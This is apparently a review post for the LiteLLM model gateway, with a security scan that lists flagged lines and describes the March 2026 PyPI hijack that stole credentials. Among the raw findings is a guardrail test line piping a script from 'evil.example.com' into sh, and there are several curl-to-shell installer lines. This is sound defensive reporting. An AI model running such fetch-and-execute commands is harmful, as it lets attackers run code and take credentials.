8 min read

LiteLLM: One API for 100+ Language Models (GitHub, Scanned)

Call 100+ model providers through one OpenAI-style API, with keys, budgets and logs.

LiteLLM logo
✅
Scan: safe. Nothing malicious in the code scanned. Three things to know: two releases on PyPI (1.82.7 and 1.82.8) were hijacked on March 24, 2026 to steal credentials, the proxy has had a run of security advisories this year so keep it current, and a gateway started without a master key is open to anyone who can reach it. Scanned Oct 3, 2026; the full report is below.

LiteLLM papers over the differences between model providers. As a Python library, one completion() call reaches OpenAI, Anthropic, Gemini, Bedrock, Azure, Vertex AI, Ollama, vLLM and more than 100 others with the same request format, the same response format and the same error types, so switching providers is a change to a model string. It adds retries and fallbacks across deployments and tracks the cost of each call.

As a proxy server, which the project calls its AI gateway, it puts that interface behind one OpenAI-compatible endpoint for a whole team. Admins hand out virtual keys with budgets and rate limits, track spend per user and project, apply guardrails and caching, and watch it all from a dashboard, while applications keep using the stock OpenAI SDK with a different base URL. It can also front MCP servers and A2A agents.

LiteLLM is built by BerriAI and has about 60,000 stars. Code outside the enterprise folder is MIT licensed; features such as SSO sit under a commercial licence. Other projects on this list use it to reach models, PR-Agent among them.

  • Repository: github.com/BerriAI/litellm
  • Licence: custom (Other)
  • Language: Python. Stars: 60.1K. Forks: 12K. Last push: Oct 3, 2026.
  • Scan: safe, Oct 3, 2026, commit 09313bc

Who it is for

Python developers who want to swap or mix model providers without rewriting code, and platform teams who need one controlled gateway for every model their company uses, with keys, budgets and logs in one place.

Getting started

1. Add the Python SDK to a project (pip install litellm also works)

uv add litellm

2. Call any provider with the same function, with its key in the environment

python -c "from litellm import completion; print(completion(model='anthropic/claude-sonnet-4-20250514', messages=[{'role':'user','content':'Hello!'}]))"

3. Or run the gateway, an OpenAI-compatible server on port 4000

uv tool install 'litellm[proxy]' && litellm --model gpt-4o

Provider keys go in environment variables such as OPENAI_API_KEY and ANTHROPIC_API_KEY, and each provider bills its own calls. For a shared gateway, set a master key: the project's security policy treats a proxy run without one as a misconfiguration, not a bug. For production the README recommends Docker images with the -stable tag, which can be verified with cosign. Never install 1.82.7 or 1.82.8: those two PyPI releases were hijacked in March 2026 to steal credentials.

Safety scan

We cloned BerriAI/litellm at commit 09313bc on Oct 3, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • Confirmed supply-chain incident: on March 24, 2026, attackers used a PyPI token exposed through the compromised Trivy scanner in LiteLLM's CI to publish litellm 1.82.7 and 1.82.8 (advisories GHSA-5mg7-485q-xm76 and PYSEC-2026-2). Version 1.82.8 added a litellm_init.pth file that ran on every Python start and collected SSH keys, cloud and Kubernetes credentials and .env files. Both were pulled within about three hours. If either was ever installed, rotate every credential that machine could reach. The commit scanned here is from October 2026, and the README now explains how to verify Docker images with cosign.
  • No committed binaries across 13,077 files and about 3.6 million lines, 2.7 million of them Python. The 39 secret hits are fixtures: AWS-format placeholder keys in Bedrock and SageMaker tests, PEM placeholders in OCI, MCP and Vault tests, a redaction test's AKIAABCDEFGHIJKLMNOP, and a Slack webhook example made of X's in a field description. The 29 bare-IP URLs are SSRF and URL-validation tests using 8.8.8.8, 1.1.1.1, 93.184.216.34 and documentation ranges.
  • Pattern hits: scripts/install.sh, install-cli.sh and quickstart.sh are the project's own curl | sh installers, which fetch uv from astral.sh if it is missing; the webhook.site URLs are router tests; the rest are long lines in test data and a guardrail test that contains a dangerous-looking command on purpose.
  • Most of the 58 known advisories sit outside what you install: two test lockfiles (19 each), the Terraform provider's Go modules (10) and the Rust crates (9). The one critical and one high are LiteLLM's own host-header and MCP authentication bypasses, listed because a cookbook example pins the old 1.83.14. uv.lock, the real Python dependency set of 459 packages, has two (one high, an MLflow SSRF). Separately, OSV lists 17 LiteLLM advisories published between April and September 2026, including SQL injection in API-key checks and authentication bypasses, so run the proxy on a current release.
  • 54 workflows. The only pull_request_target one, cost-map-guard.yml, runs the base branch's code with read-only permissions and reads the PR's pricing files as data. All 32 third-party actions are pinned to commits. Security policy with a bug bounty, Dependabot, CodeQL, licence and contributing guide present; OpenSSF Scorecard 6.1. The policy treats running the proxy without a master_key as a misconfiguration rather than a vulnerability.

What the scanner counted

CheckResult
Secrets39 candidates found and read; see the notes above.
Suspicious code20 pattern hits found and read; every one is listed under the raw findings.
Install-time code2 Cargo build scripts. 11 installer scripts (one fetches and runs a remote script; one can call sudo)
Committed binariesNone.
CI workflows54 workflows. 1 uses pull_request_target, none check out the pull request head. 0 of 32 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often github.com, api.openai.com, idp.example.com, docs.litellm.ai. 29 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities58 advisories across 2,740 pinned packages: 1 critical, 27 high, 16 moderate, 5 low, 9 unrated. cookbook/gollem_go_agent_framework/go.mod: 1 packages, 0 advisories; cookbook/litellm-ollama-docker-image/requirements.txt: 1 packages, 4 advisories; litellm-rust/Cargo.lock: 738 packages, 9 advisories; package-lock.json: 390 packages, 16 advisories; terraform/provider/go.mod: 52 packages, 10 advisories; tests/e2e/ui/package-lock.json: 101 packages, 0 advisories; tests/pass_through_tests/package-lock.json: 308 packages, 19 advisories; tests/proxy_admin_ui_tests/ui_unit_tests/package-lock.json: 510 packages, 19 advisories; ui/litellm-dashboard/package-lock.json: 851 packages, 1 advisories; uv.lock: 459 packages, 2 advisories; vscode-extension/package-lock.json: 231 packages, 0 advisories.
Project hygieneHas security policy, automated dependency updates, CodeQL, licence file, contributing guide.
OpenSSF Scorecard6.1 out of 10, as of Oct 3, 2026.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (39, redacted)
WhereRuleMatch
litellm-rust/crates/secrets-hashicorp/tests/secret_manager/support.rs:147private-key-----B…--- (27 chars)
litellm-rust/crates/tracing/src/redaction.rs:123aws-access-keyAKIAAB…NOP (20 chars)
litellm/proxy/_experimental/out/_next/static/chunks/2_kecjz4xqx6-.js:8private-key-----B…--- (27 chars)
litellm/proxy/_types.py:2965slack-webhookhooks.…XXX (69 chars)
litellm/proxy/public_endpoints/provider_create_fields.json:2746private-key-----B…--- (31 chars)
terraform/provider/RELEASING.md:66private-key-----B…--- (37 chars)
tests/integration/authorization/test_bedrock_passthrough_model_access.py:45aws-access-keyAKIASC…DER (20 chars)
tests/integration/authorization/test_bedrock_passthrough_model_access.py:52aws-access-keyAKIASC…DER (20 chars)
tests/integration/cost_calculation/cost_tracking_case.py:525aws-access-keyAKIASC…DER (20 chars)
tests/integration/cost_calculation/cost_tracking_case.py:532aws-access-keyAKIASC…DER (20 chars)
tests/integration/providers/test_anthropic_thinking_signature_logging_wire.py:230aws-access-keyAKIASC…DER (20 chars)
tests/integration/providers/test_anthropic_thinking_signature_stream_wire.py:119aws-access-keyAKIASC…DER (20 chars)
tests/integration/providers/test_bedrock_converse_lookaround_regex_chaos.py:29aws-access-keyAKIASC…DER (20 chars)
tests/integration/providers/test_bedrock_converse_lookaround_regex_wire.py:23aws-access-keyAKIASC…DER (20 chars)
tests/integration/providers/test_bedrock_converse_missing_content_wire.py:119aws-access-keyAKIASC…DER (20 chars)
tests/integration/providers/test_bedrock_converse_stream_event_frames_wire.py:58aws-access-keyAKIASC…DER (20 chars)
tests/integration/providers/test_bedrock_passthrough_stream_wire.py:34aws-access-keyAKIASC…DER (20 chars)
tests/integration/providers/test_bedrock_runtime_chat_completions_wire.py:24aws-access-keyAKIASY…001 (20 chars)
tests/integration/sdk/test_bedrock_converse_stream_sync_decoder_wire.py:64aws-access-keyAKIASC…DER (20 chars)
tests/integration/spend/test_disconnected_bedrock_messages_stream_billing.py:85aws-access-keyAKIASC…DER (20 chars)
tests/integration/spend/test_messages_stream_usage_cost.py:92aws-access-keyAKIASC…DER (20 chars)
tests/unit/enterprise/enterprise_callbacks/test_secret_detection.py:554github-tokenghp_ab…234 (40 chars)
tests/unit/llms/oci/chat/test_oci_chat_transformation.py:1572private-key-----B…--- (31 chars)
tests/unit/llms/oci/embed/test_oci_embed_transformation.py:30private-key-----B…--- (31 chars)
and 15 more
Pattern hits (20)
WhereRuleMatch
litellm/litellm_core_utils/health_check_helpers.py:20very-long-line3366 chars
litellm/litellm_core_utils/prompt_templates/factory.py:5362very-long-line4402 chars
scripts/install-cli.sh:3download-piped-to-shell# Usage: curl -fsSL https://raw.githubusercontent.com/BerriAI/litellm/main/scripts/install-cli.sh | sh
scripts/install-cli.sh:93download-piped-to-shell|| die "uv installation failed. Try manually: curl -LsSf https://astral.sh/uv/${UV_VERSION}/install.sh | sh"
scripts/install.sh:3download-piped-to-shell# Usage: curl -fsSL https://raw.githubusercontent.com/BerriAI/litellm/main/scripts/install.sh | sh
scripts/install.sh:90download-piped-to-shell|| die "uv installation failed. Try manually: curl -LsSf https://astral.sh/uv/${UV_VERSION}/install.sh | sh"
scripts/quickstart.sh:3download-piped-to-shell# curl -fsSL https://raw.githubusercontent.com/BerriAI/litellm/main/scripts/quickstart.sh | sh
tests/litellm_utils_tests/test_logging_callback_manager.py:341exfil-host (test/example)test_rubrik_url = "https://webhook.site/test-rubrik"
tests/llm_translation/test_anthropic_completion.py:692very-long-line112782 chars
tests/local_testing/test_amazing_vertex_completion.py:539very-long-line4916 chars
tests/local_testing/test_completion_cost.py:2241very-long-line89632 chars
tests/local_testing/test_embedding.py:1094very-long-line10701 chars
tests/unit/litellm_core_utils/test_token_counter.py:683very-long-line3373 chars
tests/unit/llms/vertex_ai/gemini/test_vertex_and_google_ai_studio_gemini.py:1730very-long-line4826 chars
tests/unit/proxy/guardrails/guardrail_hooks/content_filter/test_content_filter.py:3397download-piped-to-shell (test/example)tool_calls = [self._tool_call('{"command": "curl -sL https://evil.example.com/install.sh | sh"}')]
tests/unit/proxy/spend_tracking/test_spend_management_endpoints.py:3725very-long-line3052 chars
tests/unit/responses/litellm_completion_transformation/test_litellm_completion_responses.py:208very-long-line5336 chars
tests/unit/test_router/test_router.py:1585exfil-host (test/example)"api_base": "https://webhook.site/fba79dae-220a-4bb7-9a3a-8caa49604e55",
tests/unit/test_router/test_router.py:1636exfil-host (test/example)== "https://webhook.site/fba79dae-220a-4bb7-9a3a-8caa49604e55/openai/v1/responses?api-version=preview"
ui/litellm-dashboard/src/data/codeExecutionCompliancePrompts.ts:880download-piped-to-shell"Is this command safe to run on Linux? `curl https://example.com/install.sh | sh`",
URLs to bare IP addresses (29)
WhereRuleMatch
.circleci/scripts/run_integration.sh:124ip-literal-urlif curl --noproxy '*' --connect-timeout 2 -s http://198.51.100.1 >/dev/null 2>&1; then
tests/unit/llms/anthropic/messages/test_advisor_orchestration.py:880ip-literal-urltool = {**ADVISOR_TOOL, "api_key": "sk-other", "api_base": "http://8.8.8.8"}
tests/unit/llms/anthropic/messages/test_advisor_orchestration.py:896ip-literal-urltool = {**ADVISOR_TOOL, "api_key": "sk-other", "api_base": "https://8.8.8.8"}
tests/unit/llms/anthropic/messages/test_advisor_orchestration.py:915ip-literal-urltool = {**ADVISOR_TOOL, "api_key": "sk-other", "api_base": "https://8.8.8.8"}
tests/unit/llms/anthropic/messages/test_advisor_orchestration.py:921ip-literal-urlassert result == ("sk-other", "https://8.8.8.8")
tests/unit/llms/hosted_vllm/videos/test_hosted_vllm_video_transformation.py:258ip-literal-url"image_reference": {"image_url": "http://1.1.1.1/face.png"},
tests/unit/llms/hosted_vllm/videos/test_hosted_vllm_video_transformation.py:266ip-literal-urlassert payload["image_url"] == "http://1.1.1.1/face.png"
tests/unit/proxy/_experimental/mcp_server/test_byok_oauth_endpoints.py:1929ip-literal-urlvalidate_trusted_redirect_uri(req, "https://1.2.3.4/cb")
tests/unit/proxy/_experimental/mcp_server/test_mcp_server_manager.py:4930ip-literal-urlspec_path="https://93.184.216.34/key-secret?token=query-secret",
tests/unit/proxy/_experimental/mcp_server/test_mcp_server_manager.py:4958ip-literal-urlrespx_mock.get("https://93.184.216.34/slow.json").mock(side_effect=slow_load)
tests/unit/proxy/_experimental/mcp_server/test_mcp_server_manager.py:4959ip-literal-urltask = asyncio.create_task(_openapi_spec_health("https://93.184.216.34/slow.json", timeout=0.1))
tests/unit/proxy/_experimental/mcp_server/test_mcp_server_manager.py:13907ip-literal-urlspec_path="https://93.184.216.34/coalesced.json",
tests/unit/proxy/_experimental/mcp_server/test_mcp_server_manager.py:13937ip-literal-urlprobe = _OpenAPIHealthProbe("https://93.184.216.34/expiry.json", clock=clock.__next__)
tests/unit/proxy/_experimental/mcp_server/test_mcp_server_manager.py:13962ip-literal-urlspec_path="https://93.184.216.34/large.json",
tests/unit/proxy/_experimental/mcp_server/test_mcp_server_manager.py:13983ip-literal-urlspec_path="https://93.184.216.34/cancelled-cache.json", auth_type=MCPAuth.none,
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1567ip-literal-urlroute = respx_mock.get("https://93.184.216.34/spec.json").respond(200, content=b'{"paths":{}}')
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1568ip-literal-urlassert await load_openapi_spec_async("https://93.184.216.34/spec.json", max_bytes=max_bytes) == {"paths": {}}
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1591ip-literal-urlrespx_mock.get("https://93.184.216.34/spec.json").respond(200, headers=headers, stream=UnreadableStream())
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1593ip-literal-urlawait load_openapi_spec_async("https://93.184.216.34/spec.json", max_bytes=12)
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1617ip-literal-urlrespx_mock.get("https://93.184.216.34/spec.json").respond(200, stream=ChunkedStream())
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1619ip-literal-urlawait load_openapi_spec_async("https://93.184.216.34/spec.json", max_bytes=65536)
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1624ip-literal-url@pytest.mark.parametrize("target", ["https://93.184.216.35/final.json", "http://127.0.0.1/private.json"])
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1630ip-literal-urlrespx_mock.get("https://93.184.216.34/spec.json").respond(302, headers={"location": target})
tests/unit/proxy/_experimental/mcp_server/test_openapi_to_mcp_generator.py:1634ip-literal-urlawait load_openapi_spec_async("https://93.184.216.34/spec.json", max_bytes=100)
and 5 more
Installer scripts (11)
Worst known vulnerabilities (24 of 58)
AdvisorySeverityPackageSummary
GHSA-4xpc-pv4p-pm3wcriticallitellm@1.83.14LiteLLM: Authentication Bypass via Host Header Injection
GHSA-7488-6r32-c95qhighlitellm@1.83.14LiteLLM: MCP Authentication Bypass via OAuth2 Passthrough Fallback
GHSA-82j2-j2ch-gfr8highrustls-webpki@0.101.7rustls-webpki: Denial of service via panic on malformed CRL BIT STRING
GHSA-3jxr-9vmj-r5cphighbrace-expansion@5.0.5brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups
GHSA-6j4f-fj2g-mc7phighbrace-expansion@5.0.5brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion
GHSA-mh99-v99m-4gvghighbrace-expansion@5.0.5brace-expansion: DoS via unbounded expansion length causing an out-of-memory process crash
GHSA-qhr7-859c-m2p7highbrace-expansion@5.0.5brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion
GHSA-rgw5-rvv9-x895highbrace-expansion@5.0.5brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation
GHSA-vfj7-8cjw-p6xmhighbraces@3.0.3braces vulnerable to stack-exhaustion denial of service through deeply nested patterns
GHSA-73wf-gq98-2v4ghighbrowserslist@4.28.0Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats)
GHSA-c83g-rgw3-j3cxhighbrowserslist@4.28.0Browserslist: Unbounded memory growth (no cache eviction) via distinct query results, leading to eventual OOM
GHSA-2883-xcg3-v3hhhighjs-yaml@3.14.2js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
GHSA-52cp-r559-cp3mhighjs-yaml@3.14.2js-yaml: YAML merge-key chains can force quadratic CPU consumption
GHSA-5p4m-2wfm-xmqjhighjs-yaml@3.14.2JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) - CVE-2026-59870 fix not backported
GHSA-2v4p-qf9q-27wjhighgoogle.golang.org/grpc@1.82.1gRPC-Go xDS servers: Denial of Service (DoS) via crash due to missing `:authority` and `Host` headers
GHSA-vp52-pcj8-j9qchighgoogle.golang.org/grpc@1.82.1gRPC-Go: Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation
GHSA-3jxr-9vmj-r5cphighbrace-expansion@1.1.14brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups
GHSA-6j4f-fj2g-mc7phighbrace-expansion@1.1.14brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion
GHSA-mh99-v99m-4gvghighbrace-expansion@1.1.14brace-expansion: DoS via unbounded expansion length causing an out-of-memory process crash
GHSA-qhr7-859c-m2p7highbrace-expansion@1.1.14brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion
GHSA-rgw5-rvv9-x895highbrace-expansion@1.1.14brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation
GHSA-73wf-gq98-2v4ghighbrowserslist@4.28.2Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats)
GHSA-c83g-rgw3-j3cxhighbrowserslist@4.28.2Browserslist: Unbounded memory growth (no cache eviction) via distinct query results, leading to eventual OOM
GHSA-wcpc-wj8m-hjx6highprotobufjs@7.6.0protobufjs: Denial of service through unbounded Any expansion during JSON conversion
Workflows worth a look

By the numbers

Stars60.1K
Forks12K
Contributors1,768
Commits53.5K
Open issues1,800
Open pull requests3,776
Releases1,488
Latest releasev1.103.2
Licencecustom
Main languagePython
Project age3 years
Last pushOct 3, 2026
Tracked files13,077
Lines of code3.6M
Checkout size211 MB

Lines by language: Python 2.7M, TypeScript 433.7K, JSON 169.8K, Rust 145K, YAML 33.2K, Markdown 26K.

Questions

Is LiteLLM free?

The SDK and the proxy are MIT licensed outside the enterprise directory, and that free part includes virtual keys, spend tracking, load balancing and the admin UI. An enterprise licence adds features such as SSO, custom SLAs and professional support, and BerriAI also offers a hosted proxy. Model usage is billed by the providers either way.

What is the difference between the LiteLLM SDK and the proxy?

The SDK is a Python library you call from your own code. The proxy is a standalone server that exposes an OpenAI-compatible API, so any language or tool that speaks OpenAI can use it, and it adds what a shared service needs: keys, budgets, rate limits, logging and a dashboard.

Can LiteLLM route to local models?

Yes. Ollama, vLLM, NVIDIA NIM and other OpenAI-compatible servers are supported providers, so one gateway can mix local models with hosted ones and fall back from one to another.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.